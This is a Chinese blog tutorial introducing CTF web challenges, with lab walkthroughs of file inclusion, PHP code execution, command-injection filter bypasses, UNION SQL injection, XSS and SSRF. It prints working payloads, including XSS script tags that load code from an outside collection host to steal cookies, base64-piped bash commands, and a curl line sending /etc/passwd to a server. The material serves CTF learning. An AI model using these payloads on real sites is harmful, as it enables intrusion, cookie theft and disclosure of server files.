CTF入门，看这一篇文章就够了

已于 2024-07-28 13:54:43 修改
阅读量528 收藏 7
点赞数 12
文章标签： web安全
于 2024-07-27 12:03:53 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_46003602/article/details/140733314
版权

CTF从入门到提升

一、Web基础

HTTP请求包

HTTP请求方法定义了HTTP请求时所要告诉服务器执行的动作。

常见的HTTP请求方法有以下几种:

• GET：通常用于直接获取服务器上的资源

• POST：一般用于向服务器发送数据，常用于更新资源信息

• PUT：一般用于新增一个数据记录

• PATCH：一般用于修改一个数据记录。• DELETE：一般用于删除一个数据记录

• HEAD：一般用于判断一个资源是否存在

• OPTIONS：一般用于获取一个资源自身所具备的约束，如应该采用怎样的HTTP方法及自定义的请求头

其他常见分析

• Referer：一般表示请求来源，Referer头会告诉服务器用户是从哪个页面过来的，比如下图中请求来源于http://770fe7f3-4a02-4d39-b65c-dc75c00352cb.node5.buuoj.cn:81/

• UA头，全称User-Agent。每个HTTP请求中都会携带UA头。这个头会包含我们所使用的操作系统版本、CPU、浏览器类型等，在Web开发中，一般会根据UA头来判断客户端是用什么设备或者什么浏览器访问来进行页面适配，或者说禁止某些浏览器访问。

image-20240727115543669

HTTP返回包

• 101 Switching Protocols：切换协议，通常见于HTTP切换为Websocket协议

• 200 OK：请求成功。• 201 Created：资源创建成果，通常用于回应动词PUT

• 204 No Content：用于不回显任何内容的情况，如网络联通性检测

• 301 Moved Permanently：永久跳转，浏览器以后访问到这个地址都会直接跳转到Location头所指向的新地址

• 302 Found：临时跳转，会跳转到Location头所指向的地址

• 404 Not Found：所请求资源不存在

• 405 Method not allowed：方法不被允许

500 Internal Server Error：服务器内部错误

• 502 Bad Gateway：网关在转发内容时出错，通常是转发的下一站——后端不可达或返回了一些奇怪的信息

• 504 Gateway Time-out：网关在转发内容时出错，通常是转发的下一站——后端不可达

image-20240625143844168

URL分析

https://url/read-6951.html?a=1&b=2#tag5

scheme:[//[userinfo@] host[:port]] path[?query] [#fragment]

• 协议scheme：用于代表这个URL所指向的协议。常见的如HTTP、HTTPS、FTP等。

• 用户信息userinfo：通常为“用户名：密码”这类格式，会被编码在Authorization头中发向服务器。

• 主机名(host)：指向网络上的服务器的地址、域名，或者IP地址

• 端口(port)：指向服务器上的端口，如果不填写就会依据协议设置成默认值并且不展示。例如，HTTP是80端口，HTTPS是443端口，FTP是21端口

• 请求路径(path)：指向服务器上资源的路径，如/read-6591.html会请求该路径对应的资源

• 请求参数(query)：在请求资源时所带的参数，后端可获取到这些参数。例如，a=1&b=2代表有两个参数a和b，值分别为1和2

• 页面描点(fragment)：用于指向页面上某个元素，不会被实际发送到服务器，浏览器会进行处理并滚动到该元素出现的地方

HTTP响应标头

• Set-Cookie：此头用于远程服务器向本地设置Cookie，Cookie是一种凭证，一般用于客户端向远程服务器证明身份

image-20240625143303291

案例-BUU BURP COURSE 1

打开靶机可以看到提示只能本地访问

image-20240625141446164

这时候就要联想到我们前面说的X-Forwarded-For、X-Client-Ip、X-Real-Ip等HTTP请求包中headers可用于向后端服务器表示真实IP的头，这里用Postman来构造请求

image-20240625141808266

以此获得关键信息用户名：admin，密码：wwoj2wio2jw93ey43eiuwdjnewkndjlwe

这时候就要联想到我们前面说的POST请求向服务端发送数据

x-www-form-urlencoded是一种将表单数据转换为键值对的方式。 它是HTTP协议中一种标准的数据编码方式。 当在Postman中选择x-www-form-urlencoded方式时，表单内的数据将被转换为键值对形式，并附加到URL后面。 这种方式适用于发送简单的键值对数据，但无法上传文件

image-20240625145601785

信息泄露

Dirserch的使用

Dirsearch是一个目录扫描器，可以使用它来扫描网站上的敏感文件，命令格式如下：

image-20240625150619209

• -u：指定扫描的URL。

• -e：指定扫描的扩展名。∗为通配符。

• -w：指定字典。

image-20240625150636028

比如：以上命令是对https://url这个网站发起扫描，并使用Kali Linux自带的字典对所有有扩展名的文件进行扫描。

案例分析-粗心的小李

image-20240625151045636

image-20240625151257137

显示403判断页面可能存在源码泄露

我们用githack去恢复文件

image-20240625162007996

查到一个index.html

image-20240625163607637

二、PHP

强类型与弱类型

对于强类型语言，不同类型不能够相互转换，如字符串的1就是字符串1，不能和数字1相提并论；对于弱类型语言，不同数据类型能够相互转换，如字符串1和int 1可以相互转换。

强类型

image-20240625165130720

image-20240625165144763

弱类型

image-20240625164946197

image-20240625165007941

弱类型漏洞产生原理:

• 如果能转换成另一个比较的类型则进行转换，如’1test’和1比较，'1test’转换成整型，或1转换为字符型

• 如果是相同类型，并且都能转换成同一类型则进行转换，如’1’和’01’比较，都能转换成整型，那就全部转换为整型然后比较，最后就是1==01

• 如果是相同类型，但不能转换成同一类型，如’a’和’1a’，两者不能同时转换成整型，只能都当作字符串来比较

MD5、HASH相关漏洞利用

image-20240625170305892

这段代码的大意就是要输入两个值，然后对其进行MD5加密，之后用==（弱类型）去比较，如果两者“相等”则输出flag。典型的弱类型比较，只需要将两个符合如下条件的值输入即可。

1)MD5（值）计算后结果开头是0e。0e开头是让PHP把这段字符串认为是科学计数法字符串的先决条件。

2)0e后面全是数字。例如，0e123==0e234，0的N次方始终是0，所以弱类型比较可以相等。

PHP伪协议-ZJCTF，不过如此

前置知识

文件包含中可以使用非常多的协议，例如，常见的HTTP、FTP，或者PHP特有的php://filte

看到file=index这种类似的URL时就应该想到这里可能存在文件包含漏洞，且猜测后端源码为index拼接.php，这里我们写两个文件：一个文件为index.php，用于文件包含；一个文件为api.php，里面是php代码。当输入以下payload后，可成功将api.php的内容Base64编码后输出

image-20240625201641320

image-20240625201759975

然后经过过滤器对其进行Base64编码，最后包含进来。由于Base64编码后不是PHP代码，而是一些普通字符，所以会直接输出。之后我们可以调用PHP的Base64或者在线工具解密一下获取到的源码

举个例子:

image-20240625202711367

image-20240625202723559

image-20240625202737408

image-20240625202923232

案例分析

image-20240625201509882

看到用的是file_get_contents()函数打开text，想到用data://协议看到include($file)提示next.php想到将next.php源码转换为base64

payload: ?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

image-20240625203440449

得到解密php源码，我们简单分析一下，我们的目的是调用getFlag()函数并给cmd赋上我们想执行的命令

image-20240625203722387

return preg_replace('/(' . $re . ')/ei', 'strtolower("\\1")', $str);
  • 这个函数使用正则表达式对字符串进行替换。
  • preg_replace函数的第一个参数是正则表达式模式，其中/ei是修饰符。e修饰符表示将替换部分作为PHP代码进行求值，i修饰符表示忽略大小写。
  • '/(' . $re . ')/ei'构建了一个正则表达式模式，用于匹配$re。
  • 'strtolower("\\1")'是替换部分，将匹配的内容转换为小写。
  • $str是要进行替换的目标字符串。

比如我们传入 ?.*={${phpinfo()}}

原句：preg_replace(‘/(’ . r e . ′ ) / e i ′ , ′ s t r t o l o w e r ( " 1 " ) ′ , re . ')/ei','strtolower("\\1")', re.′)/ei′,′strtolower("1")′,str); 就变成preg_replace(‘/(’ .* ‘)/ei’,‘strtolower(“\1”)’,{${phpinfo()}});

又因为$_GET传入首字母是非法字符时候会把 .（点号）改成下划线，因此得将.*换成\S

所以

payload：?\S*=${getFlag()}&cmd=system('ls /');

image-20240625211221286

payload：?\S*=${getFlag()}&cmd=system('ls /');

image-20240625211245236

PHP代码执行漏洞以及常用函数

eval和assert函数是PHP中最常见的代码执行函数

eval()

image-20240626093407766

image-20240626095544597

assert()

assert会直接把输入的字符作为PHP代码去执行。代码结尾不需要用；号结束

array_map

image-20240626100343193

$_GET ['method']()

在代码中函数名可以接收一个参数

案例分析-虎符网络安全大赛Unsetme

image-20240626105519050

可以看到这是一个F3框架，在base.php中530行有一段关于eval()函数报错

这段PHP代码是一个简单的Web应用程序框架的启动脚本，它加载了一个基础PHP文件，设置了调试模式，并检查了PCRE的版本，并根据GET请求中的参数a来操作F3框架的内部状态。最后，它运行了框架

image-20240626112123980

payload: ?a=abc%0a);

image-20240626114038903

payload: ?a=a%0a);phpinfo(
  1. ?a=a%0a：这是URL参数a的值。%0a是一个URL编码，代表换行符（\n）。在这个上下文中，它被用来尝试分割字符串，以绕过正常的参数解析。
  2. );：这个分号和括号的组合是PHP代码的一部分，用来结束前面的表达式。
  3. %0aphpinfo()：这是尝试注入的PHP代码。%0a同样代表换行符，它被用来分割原有的代码，插入新的PHP代码phpinfo()

image-20240626114220510

payload: ?a=a%0a);echo file_get_contents(%27/flag%27
                //ehco file_get_contents('/flag');

image-20240626114642142

PHP反序列化漏洞

序列化：把一个对象转换成一段文本，转换的这个过程就叫序列化

例如serialize()函数，并进行URL编码

image-20240626143223393

接下来我们进行一下反序列化操作

image-20240626143902543

再介绍两个函数，分别是__destruct()和 __wakeup()，可以看出在调用反序列化后会调用__wakeup()，程序结束后会调用__destruct()

image-20240627092516859

image-20240627092536526

案例分析-2019强网杯-upload

image-20240627092602897

注册登陆一下，如何上传一张图片，可以看到我们图片被正确上传到../upload/c7129430ace4c05bd5bcee0bd02b538b上了

image-20240627092619223

通过扫描工具扫描得到网址下有www.tar.gz压缩包，解压后用phpstorm打开

发现在index.php中存在反序列化$profile

image-20240627092631432

后面还不会

三、常见Web漏洞

过滤敏感字符串

(1)过滤空格可以用%09、%0a、 I F S 、 {IFS}、 IFS、IFS$9等字符来过滤关键字。

(2)过滤关键字（cat、flag等）

1)用开头的读取文件替代命令去读取文件。

2)在过滤的字符串中加入单引号、双引号或反斜杠(ca"t ca""tca\t)。

3)KaTeX parse error: Undefined control sequence: \x at position 10: (printf "\̲x̲6c\x73")==ls：利用…()调用ls，等同于’printf"\x6c\x73"’

  1. echo Y2F0IGluZGV4LnBocA==｜Base64-d｜bash:Base64编码绕过，echo Base64的结果通过｜又传入了Base64，解密命令后又传入bash执行。5)利用通配符：cat fl? g cat f∗。6) a=c；b=at； a a ab：利用Linux下的变量拼接动态执行命令。
案例解析-[GXYCTF2019]Ping Ping Ping

image-20240627092449758

判断为命令执行漏洞，查看当前目录文件

image-20240627092437814

我们用cat试一下，提示我们空格，判断有可能是过滤空格，前面说过，我们尝试一下用%09、%0a、 I F S 、 {IFS}、 IFS、IFS$9等字符来过滤

image-20240627092424527

通过测试$IFS$9可以，这时候提示我们要过滤关键字，我们要想到我们前面说的方法

image-20240627092413417

`echo$IFS$9ZmxhZy5waHA=|base64$IFS$9-d`
//使用echo命令输出Base64编码的文本ZmxhZy5waHA=。
//通过管道|将echo命令的输出传递给Base64-d命令进行解码。

这个案例的意思就是我们可以通过一些方法绕过过滤正确执行命令

payload:  cat$IFS$9`echo$IFS$9ZmxhZy5waHA=|base64$IFS$9-d`
		  cat flag.php

image-20240627092357521

image-20240627092336718

SQL注入漏洞
前置知识
1.关于Mysql数据库在information_schema这个数据库下的几个常见表

schemata表 column字段 schema_name-数据库名

image-20240627091350975

tables表 column字段 table_schema-数据库名 table_name-表名

image-20240627091409332

columns表 column字段 table_schema-数据库名 table_name-表名 column_name-列名

2.关于group_concat和concat
  1. 用途不同：concat主要用于行数据的拼接，concat函数无法处理这个多列结果而group_concat则主要用于列数据的拼接，。
  2. 操作方式不同：使用concat时，需要为每个需要拼接的字段分别指定；而group_concat可以一次性拼接多个字段的值，且自动在每个值之间添加逗号。
3.关于group by 和order by

在select用法中，order by num column<=num时都会正确回显

​ order by num column==num时才会正确回显

4.关于报错updatexml(参数1，参数2，参数3)

以此为例: and updatexml(1, concat(0x7e, (select version()), 0x7e), 1)
参数1: 这是updatexml函数的第一个参数，本应该是一个XML文档。在这里，这是一个无效的1，故意用来触发错误。
参数2: 这是updatexml函数的第二个参数，应该是一个XPath表达式。在这里，它是一个拼接的字符串，由concat函数生成，concat(0x7e, (select version()), 0x7e): 这会将数据库版本号用波浪号括起来，例如：5.7.31。
参数3: 这是updatexml函数的第三个参数，表示要更新的内容。在这里，它也是一个无效的参数，旨在触发错误。

案例分析-BUU SQL COURSE 1

我们打开页面发现没有什么提示，就先用BP抓个包看看，发现在/backend/content_detail.php?id=1可能存在注入

image-20240627092750156

二分法判断列数为2

image-20240627093342006

image-20240627093408174

查找数据库名

//payload
?id=-1 union select group_concat(schema_name),2 from information_schema.schemata

image-20240627095230786

//payload
?id=-1 union select group_concat(table_name),2 from information_schema.tables where table_schema='ctftraining'

image-20240627110716638

?id=-1 union select group_concat(column_name),2 from information_schema.columns where table_name='FLAG_TABLE'

image-20240627110755456

?id=-1 union select FLAG_COLUMN,1 from FLAG_TABLE

image-20240627112705206

image-20240627112822496

XSS漏洞

可以理解为前后端交互中插入一段恶意代码在页面，会对客户端产生不良的影响

image-20240626191629858

image-20240626191612196

XSS大体上可以分为三类:

  1. 反射型XSS：需要控制请求的参数使页面输出相应的XSS Payload
  2. 存储型XSS：把XSS Payload存储在数据库中，下次再访问时出数据库中拉取，比较常见的就是留言板，如果网站没有对用户输入做过滤，把用户输入信息直接原样记录在数据库，那么其他访问用户就会触发这个漏洞，执行XSS Payload中的代码
  3. DOM类型XSS：某些疏忽的原因，开发者将用户输入作为JS代码执行

HTML中XSS利用事件

• onerror：在该标签加载资源出错时会被执行c

image-20240626193417480

image-20240626193357759

• onload：在资源被加载时会被执行。

image-20240626194612101

image-20240626194632862

• onmouseover：在鼠标略过这个元素时会被执行。

image-20240626193702071

image-20240626193648284

• onfocus：当页面的焦点被聚集到这个元素上（如用<Tab>键进行选择）时会被执行

image-20240626194001448

image-20240626193900498

案例解析-CTFHub

我们先在https://xssaq.com/上创建一个项目，默认配置就行

  1. 反射型XSS

image-20240627140347797

image-20240627140657503

image-20240627140611590

我们根据url判断是通过name接收JS代码，那么我们可以在下面一栏尝试发送到我们之前创建的平台接收结果

image-20240627141128198

//payload
?name=</tEXtArEa>'"><sCRiPt sRC=//uj.ci/14s></sCrIpT>

在cookie中我们可以看到flag

image-20240627141515225

image-20240627141547912

  1. 存储型XSS

同样是在在输入框输出JS代码，可以看到有提示但是URL未转变

image-20240627141837590

image-20240627141822051

此后我们再打开网页可以看到我们未提交任何数据，直接就跳弹窗，由此可以判断该XSS类型为存储型

image-20240627142532668

和反射型类似，先提交payload存储到目标数据库，再使用第二个框点击这个恶意链接时就会发送请求给我们构建的payload里的链接，从而获得请求的信息和数据

image-20240627143509623

image-20240627143500081

image-20240627143208876

在XSS平台查看接收的内容(flag)

image-20240627143731387

  1. DOM类型

DOM反射

我们前面说过DOM类型XSS产生的原因是开发者将用户输入作为JS代码执行，看一下源代码我们的目的就很明确了，在输入端构造payload并提交，插入恶意JS代码，和上题一样在第二个框发送请求链接

image-20240627144620453

先输一个1试试，那么我们接下来要做的就是闭合<script>标签并插入我们想要的JS段

这是输入端提交的
';</scirpt><script sRC=//uj.ci/14s>
//这是我们想插入的
<script sRC=//uj.ci/14s></script>

image-20240627145305389

image-20240627145847652

可以很明显的看到，';没有闭合，用//闭合，并发送请求传递有效信息，获取flag

image-20240627150535089

image-20240627150617752

image-20240627150605778

DOM跳转

我们查看源码发现JS内容主要是通过分隔字符串=，生成一个数组，并判断数组的第一个元素(.slice(1)的意思就是从第二个到最后，相当于去掉第一个元素)是否为jumpto并用第二个元素作为地址跳转

//举个例子
?jumpto=javascript:$.getScript("//uj.ci/14s")
//结果
location.href=javascript:$.getScript("//uj.ci/14s")

image-20240627151829600

image-20240627151756450

我们通过wappalyzer判断网站引用了jQuery，我们就可以利用$.getScript() 函数来加载并执行来自 xss平台 的JS脚本

//payload
?jumpto=javascript:$.getScript("//uj.ci/14s")

image-20240627153745671

image-20240627153810515

过滤空格

我们先尝试输入一个简单的JS弹窗，发现可以，但是输入<sCRiPt sRC=//uj.ci/14s></sCrIpT>就不行了根据提示是过滤了空格

image-20240627154550447

image-20240627154600535

查了一下可能是由于解析HTML时或WAF过滤

image-20240627162831254

//payload  /**/
<sCRiPt/**/sRC=//uj.ci/14s></sCrIpT>

image-20240627161440236

image-20240627161456073

过滤关键字

我们尝试输一个简单的JS弹窗，查看源代码判断应该是过滤了关键字script，结合我们在XSS安全平台的Payload，可能是根据ASCII码判断，就试试大写

image-20240627163035738

image-20240627163415899

image-20240627163352757

//payload
<sCRiPt sRC=//uj.ci/14s></sCrIpT>

image-20240627163614406

SSRF漏洞

利用一个可以发起网络请求的服务当作跳板来攻击内部其他服务

SSRF形成的原因：大部分是由于服务端提供了从其他服务器应用获取数据的功能，并且没有对目标地址做过滤，我们后面会举具体的例子，简而言之，存在SSRF漏洞的服务器可以作为我们攻击的跳板，直接攻击内网系统，而内网系统安全性普遍比较薄弱，就有可能造成内网沦陷

SSRF漏洞利用方法

• 危险函数

file_get_contents() readfile() PHP中用于读取文件内容的函数

<?php
$url=$_GET['url'];
echo file_get_contents($url);
?>

image-20240628100342783

image-20240628100419423

fsockopen() 用于远程建立TCP/IP连接，并进行网络通信，类似于302重定向

<?php
$host=$_GET['url']; 
// 从 URL 的查询字符串中获取名为 'url' 的参数值，并将其赋值给变量 $host
$fp = fsockopen($host, 80, $errno, $errstr, 30); 
// 尝试使用 fsockopen 函数打开与指定主机（$host）的 TCP 连接，端口为 80，超时时间为 30 秒。如果连接失败，$errno 会被设置为错误代码，$errstr 会包含错误描述。
if (!$fp) { 
// 如果连接失败（$fp 为假）
  echo "$errstr ($errno)<br />\n"; 
// 输出错误描述和错误代码，并换行
} else { 
// 如果连接成功
  $out = "GET / HTTP/1.1\r\n"; 
// 构建一个 HTTP 请求的起始行，指定请求方法为 GET，请求的路径为根路径（'/'），使用的协议版本为 HTTP/1.1
  $out.= "Host: $host\r\n"; 
// 添加 Host 头部，指定请求的主机
  $out.= "Connection: Close\r\n\r\n"; 
// 添加表示连接关闭的头部
  fwrite($fp, $out); 
// 将构建好的请求发送到已建立连接的套接字
  while (!feof($fp)) { 
// 只要没有到达文件末尾（即仍有数据可读）
    echo fgets($fp, 128); 
// 从套接字读取最多 128 字节的数据并输出
  }
  fclose($fp); 
// 关闭套接字连接
}
?>

image-20240628103833296

image-20240628103911863

image-20240628103751730

• 危险协议

例如file协议，读取文件内容，本质上还是用了前面说的危险函数

<?php
if(isset($_GET['url'])) {
  // 检查是否通过 GET 方法传递了名为 'url' 的参数
  $file = $_GET['url'];
  // 获取传递的 'url' 参数的值，并将其存储在变量 $file 中
  if (strpos($file, 'file://') === 0) {
    // 检查 $file 的值是否以 'file://' 开头
    $file = substr($file, 7);
    // 如果是，通过 substr 函数去掉 'file://' 这 7 个字符，得到实际的文件路径
    if (is_readable($file)) {
      // 检查该文件是否可读
      $content = file_get_contents($file);
      // 使用 file_get_contents 函数读取文件内容，并将其存储在 $content 变量中
      echo $content;
      // 输出文件内容
    } else {
      echo "文件不可读或不存在";
      // 如果文件不可读或不存在，输出相应的提示信息
    }
  } else {
    echo "无效的 URL 格式";
    // 如果传递的参数不是以 'file://' 开头，输出格式无效的提示
  }
} else {
  echo "未提供有效的 URL 参数";
  // 如果没有传递 'url' 参数，输出相应的提示
}
?>

image-20240628112959941

SSRF解题步骤

1)找到敏感接口，验证SSRF是否存在。

2)尝试用file://协议去读取/etc/hosts文件，根据IP确定目标的内网IP段。

3)通过HTTP等协议扫描内网在线主机及端口，确定内网内存活的目标IP以及相应的端口。

4)构造请求，针对性地攻击服务

我们在学习SSRF漏洞前，需要先了解curl命令的使用，格式如下

image-20240626205428379

使用GET请求

image-20240626210028142

使用POST请求，其中-X参数用来指定请求模式，-d参数指定发送数据(data)

image-20240626211304074

image-20240626211316914

上传文件，-F参数表示上传文件请求，=@是格式，后面跟上本地文件路径，最后是要发送数据的目标 URL，这条命令是读取文件内容名为f并发送到后端接受

 curl -F "f=@/etc/passwd" http://192.168.182.1/php1/file/upload.php

image-20240626215459369

CTFHub练习题-SSRF

伪协议读取文件，根据提示我们可以看到要我们读取Web目录下的flag.php我们前面有在CTF入门中介绍过伪协议，比较常见的读取内容的为file://，Web默认目录为/var///www/html

image-20240627195801680

image-20240627200608318

端口扫描，根据提示，我们要扫描的是8000-9000端口，用BP自带的Intruder模块

image-20240627201703484

添加payload

image-20240627210717678

image-20240627210751244

image-20240627210803695

image-20240627210814987

根据长度判断正确端口

image-20240627211037355

POST请求

image-20240627212334213

先试试flag.php

image-20240627212855799

欢迎大家关注我的公众号，获取详细的网安学习成长路线图

c908c531a1c81e2680e0e7361453052

参考文献

《从0到1：CTFer成长之路》https://book.nu1l.com/

《CTF实战：从入门到提升》

小小乐安全
关注
  • 12
    点赞
  • 踩
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
[网络安全自学篇] 六十五.Vulnhub靶机渗透之环境搭建及JIS-CTF入门和蚁剑提权示例（一）
杨秀璋的专栏
04-10 1万+
这是作者的网络安全自学教程系列，主要是关于安全工具和实践操作的在线笔记，特分享出来与博友们学习，希望您们喜欢，一起进步。前文分享了SMBv3服务远程代码执行漏洞（CVE-2020-0796），攻击者可能利用此漏洞远程无需用户验证，执行恶意代码并获取机器的完全控制。本文将详细讲解Vulnhub靶机渗透的环境搭建和JIS-CTF题目，采用Nmap、Dirb、中国蚁剑、敏感文件分析、SSH远程连接、Shell提权等获取5个flag。由于hack the box速度堪忧，作者选择了Vulnhub靶场，希望深入分析来
CTF基础知识-Web
m0_59648828的博客
04-22 2867
文章目录 一、CTF的基础知识 1、简介 2.竞赛 3.比赛形式 4.题目 二、Web （一）信息泄露 1.目录遍历 2.PHPINFO 3.备份文件下载 一、CTF的基础知识 （一）、CTF简介 1.打开ctf简介，开启题目，进入到页面 2.打开附属的题目，点获得更好的阅读体验，在下方即可得到答案flag 3.把flag填入，提交 （ 二）、竞赛模式 1.打开竞赛模式，开启题目，进入到页面 2.打开附属的题目，点获得更好的阅读体验，在下方即可得到答案flag 3.把flag填入，提交 （三）、比
CTF初学笔记-web新手题目（附学习资料）
最新发布
2301_77472496的博客
04-28 864
CTF大赛， 俗话说“兵马未动，粮草先行”，打CTF手里的武器工具少不了。
CTF web快速入门
LUOYU125的博客
10-29 492
CTF web快速入门
CTF·WEB入门之路
qq_54502707的博客
12-12 7707
Hello~大家好，这里是KOKO师傅！ 对于初学者来说，打CTF之路仿佛是摸石头过河，而今天这篇文章则是一篇“从入门到入土”级别的概括类文章。从这篇文章中你可以了解到CTF的一些基本知识、WEB方向的主要知识点、常见知识点······真正意义上的实现入门！
CTF-攻防世界web新手入门篇
weixin_45923850的博客
04-14 1万+
CTF练习题目
CTF入门资料
weixin_39664643的博客
08-31 961
CTF 相关资料 CTF WIKI CTFer的指南：了解CTF，每个方向的需要掌握的知识点（细致精辟） CTF 大致分为 Android/Crypto/Misc/Pwn/Reverse/Web 6个方向 !!注意 以下所有工具后门自查 Web 工具 burp/sqlmap/python/chrome/firefox安全插件 资料 给表弟的Web安全入门建议 Web-Security-Learning burpsuite实战指南 MySQL updatexml()、extractvalue() 报错型
新手小白怎么入门CTF？
Hack0812的博客
11-26 351
CTF 题目类型一般分为 Web 渗透、RE 逆向、Misc 杂项、PWN 二进制漏洞利用、Crypto 密码破译。
小白怎么入门网络安全？看这篇就够啦！
xuanyuan_fsx的专栏
09-04 5万+
由于我之前写了不少网络安全技术相关的故事文章，不少读者朋友知道我是从事网络安全相关的工作，于是经常有人在微信里问我： 我刚入门网络安全，该怎么学？要学哪些东西？有哪些方向？怎么选？ 不同于Java、C/C++等后端开发岗位有非常明晰的学习路线，网路安全更多是靠自己摸索，要学的东西又杂又多，难成体系。 常读我文章的朋友知道，我的文章基本以故事为载体的技术输出为主，很少去谈到职场、面试这些方面的内容。主要是考虑到现在大家的压力已经很大，节奏很快，公众号上是让大家放松的地方，尽量写一些轻快的内容。不
【愚公系列】2024年03月 《CTF实战：从入门到提升》 010-Web安全入门（PHP代码执行漏洞）
热门推荐
时光隧道
03-28 5万+
PHP代码执行漏洞是一种常见的安全漏洞，也被称为远程代码执行（Remote Code Execution，RCE）漏洞。这种漏洞的发生通常是由于程序员在编写代码时未正确过滤用户输入，导致用户能够将恶意代码插入到应用程序中，然后被解释器执行。攻击者可以利用这种漏洞执行任意代码，从而获取系统权限、窃取数据或者对系统进行进一步的攻击。未过滤用户输入：开发者在使用用户输入时必须进行严格的输入验证和过滤，避免直接将用户输入作为代码执行。eval() 和 exec() 函数。
【愚公系列】2024年03月 《CTF实战：从入门到提升》 011-Web安全入门（PHP反序列化漏洞）
时光隧道
03-30 5万+
PHP是一种广泛使用的开源服务器端脚本语言，它支持面向对象的编程范式。在PHP中，类和对象是用于封装数据与功能的核心组件，它们使得代码更加模块化、易于管理和扩展。在处理对象持久化——即在不同会话或不同请求之间保存对象状态的过程中，序列化和反序列化是两个非常重要的概念。反序列化漏洞通常发生在不安全地反序列化用户提供的数据时。代码执行：攻击者可能会注入恶意对象，当这个对象被反序列化时，它可能会触发任意代码执行。对象注入：通过构造特殊的序列化数据，攻击者可能会在应用程序上下文中创建不正当的对象实例。
ROP的基本原理和实战教学，看这一篇就够了
QL_2023的博客
02-21 2125
ROP的全称为Return-oriented programming（返回导向编程），这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御（比如内存不可执行和代码签名等）。通过上一篇文章栈溢出漏洞原理详解与利用，我们可以发现栈溢出的控制点是ret处，那么ROP的核心思想就是利用以ret结尾的指令序列把栈中的应该返回EIP的地址更改成我们需要的值，从而控制程序的执行流程。
CTF—WEB基础篇
qq_53058639的博客
03-17 4011
简介JavaScript 是互联网上最流行的脚本语言，这门语言可用于 HTML 和 web，更可广泛用于服务器、PC、笔记本电脑、平板电脑和智能手机等设备。作用JavaScript 是脚本语言JavaScript 是一种轻量级的编程语言。JavaScript 是可插入 HTML 页面的编程代码。JavaScript 插入 HTML 页面后，可由所有的现代浏览器执行。JavaScript 很容易学习。
CTF----Web真零基础入门
B_cecretary的博客
01-17 2万+
前置知识： TCP/IP体系结构（IP和端口）： IP是什么：是计算机在互联网上的唯一标识（坐标，代号），用于在互联网中寻找计算机。 访问网站时：域名会通过DNS（解析服务）解析成IP。 所以，互通的前提条件就是双方都能找到对方的IP地址。 内网（局域网）IP和公网（互联网）IP： 内网IP：路由以内的网络，可以连接互联网，但是互联网无法直接连接内网（需要端口映射） 如何判断自己的电脑是内网还是公网： --在本地电脑命令行输入jipconfig，ifconfig（Linux，macos）查看
CTFshow-WEB入门-信息搜集
这个博主不懒，但Ta什么也没写~（私信互关24小时必回）
02-11 1453
web1（查看注释1） wp 右键查看源代码即可找到flag web2（查看注释2） wp 【Ctrl+U】快捷键查看源代码即可找到flag web3（抓包与重发包） wp 抓包后重新发包，在响应包中找到flag web4（robots协议） wp 先访问robots.txt，得到线索 进而访问flagishere.txt，获得flag web5（phps源码泄露） wp 访问index.phps获得泄露文件
CTF — web入门(持续更新…)
qq_41046545的博客
10-20 2008
web入门
CTF-WEB入门学习笔记
m0_62945162的博客
06-13 624
CTF-WEB学习笔记分享
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值